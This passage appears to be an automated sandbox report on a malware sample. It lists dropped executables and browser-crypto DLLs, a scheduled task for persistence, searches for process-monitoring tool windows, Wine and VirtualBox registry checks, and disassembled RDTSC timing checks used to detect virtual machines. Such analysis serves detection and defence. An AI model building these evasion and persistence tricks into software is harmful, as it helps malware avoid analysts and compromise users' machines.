Source: skotes.exe.22.dr	Static PE information: section name: jcgoymzc entropy: 7.95303294235051

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCGDGCFBAEG.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsCGDGCFBAEG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCGDGCFBAEG.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCGDGCFBAEG.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsCGDGCFBAEG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsCGDGCFBAEG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9304C2 second address: 92FC18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F332CB40D0Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e or dword ptr [ebp+122D1826h], esi 0x00000014 push dword ptr [ebp+122D0E35h] 0x0000001a or dword ptr [ebp+122D3106h], esi 0x00000020 call dword ptr [ebp+122D1890h] 0x00000026 pushad 0x00000027 sub dword ptr [ebp+122D1836h], ecx 0x0000002d xor eax, eax 0x0000002f mov dword ptr [ebp+122D1836h], ebx 0x00000035 sub dword ptr [ebp+122D1836h], edi 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f jmp 00007F332CB40D0Fh 0x00000044 mov dword ptr [ebp+122D3A81h], eax 0x0000004a clc 0x0000004b mov esi, 0000003Ch 0x00000050 sub dword ptr [ebp+122D17CDh], ecx 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a sub dword ptr [ebp+122D17C3h], ecx 0x00000060 lodsw 0x00000062 cld 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 cld 0x00000068 mov ebx, dword ptr [esp+24h] 0x0000006c mov dword ptr [ebp+122D1801h], eax 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 push edx 0x00000076 push edx 0x00000077 pop edx 0x00000078 pop edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB98A5 second address: AB98B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F332D370A46h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB98B4 second address: AB98B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB98B8 second address: AB98D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A55h 0x00000007 ja 00007F332D370A46h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9A66 second address: AB9A88 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F332CB40D18h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC5D8 second address: ABC5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC5DC second address: ABC5E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC7AB second address: ABC7FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F332D370A4Ah 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007F332D370A4Bh 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F332D370A48h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D2491h], ebx 0x00000034 push 00000000h 0x00000036 mov edx, dword ptr [ebp+122D3B7Dh] 0x0000003c push 7D540407h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC7FF second address: ABC815 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC815 second address: ABC81F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F332D370A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC81F second address: ABC823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC823 second address: ABC8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 7D540487h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F332D370A48h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 movsx ecx, si 0x0000002c push 00000003h 0x0000002e mov ecx, dword ptr [ebp+122D3115h] 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D34F1h], ecx 0x0000003c push 00000003h 0x0000003e jmp 00007F332D370A4Eh 0x00000043 push 84C0B2F2h 0x00000048 jmp 00007F332D370A54h 0x0000004d add dword ptr [esp], 3B3F4D0Eh 0x00000054 jno 00007F332D370A4Ch 0x0000005a jnc 00007F332D370A4Ch 0x00000060 lea ebx, dword ptr [ebp+12460528h] 0x00000066 mov edx, dword ptr [ebp+122D3909h] 0x0000006c xchg eax, ebx 0x0000006d pushad 0x0000006e push ecx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC8BE second address: ABC8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jg 00007F332CB40D06h 0x00000014 jmp 00007F332CB40D16h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC94F second address: ABC97B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F332D370A48h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D3180h], eax 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 push edx 0x00000017 mov edx, dword ptr [ebp+122D1981h] 0x0000001d pop edi 0x0000001e pop esi 0x0000001f call 00007F332D370A49h 0x00000024 push edx 0x00000025 push edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC97B second address: ABC9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F332CB40D16h 0x0000000d push edx 0x0000000e jmp 00007F332CB40D11h 0x00000013 pop edx 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jg 00007F332CB40D0Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABC9BB second address: ABC9BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2CA5 second address: AA2CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2CA9 second address: AA2CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2CAD second address: AA2CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2CB3 second address: AA2CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F332D370A52h 0x0000000e jmp 00007F332D370A4Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA2CDF second address: AA2CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB7FD second address: ADB80E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F332D370A4Ch 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB80E second address: ADB81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F332CB40D06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB81F second address: ADB856 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F332D370A57h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F332D370A5Ah 0x00000011 jmp 00007F332D370A54h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBE21 second address: ADBE26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC11D second address: ADC129 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC3BB second address: ADC3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F332CB40D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC50B second address: ADC511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC511 second address: ADC517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC517 second address: ADC520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC6A6 second address: ADC6B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC6B2 second address: ADC6B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCA98 second address: ADCAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCAA3 second address: ADCAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCAA9 second address: ADCAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCAAD second address: ADCAC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332D370A4Ch 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADCAC3 second address: ADCAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD0CA second address: ADD0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD0D2 second address: ADD0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F332CB40D0Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD0E7 second address: ADD0ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD0ED second address: ADD0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD501 second address: ADD505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB4D8 second address: AAB4E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB4E0 second address: AAB502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007F332D370A54h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2B45 second address: AE2B4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2CD6 second address: AE2CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F332D370A46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2CE3 second address: AE2CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2CE7 second address: AE2D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F332D370A51h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2D04 second address: AE2D20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F332CB40D10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F332CB40D0Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1CCC second address: AE1CD2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1CD2 second address: AE1D06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F332CB40D06h 0x00000009 jmp 00007F332CB40D19h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F332CB40D0Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE2E52 second address: AE2E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7E44 second address: AE7E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
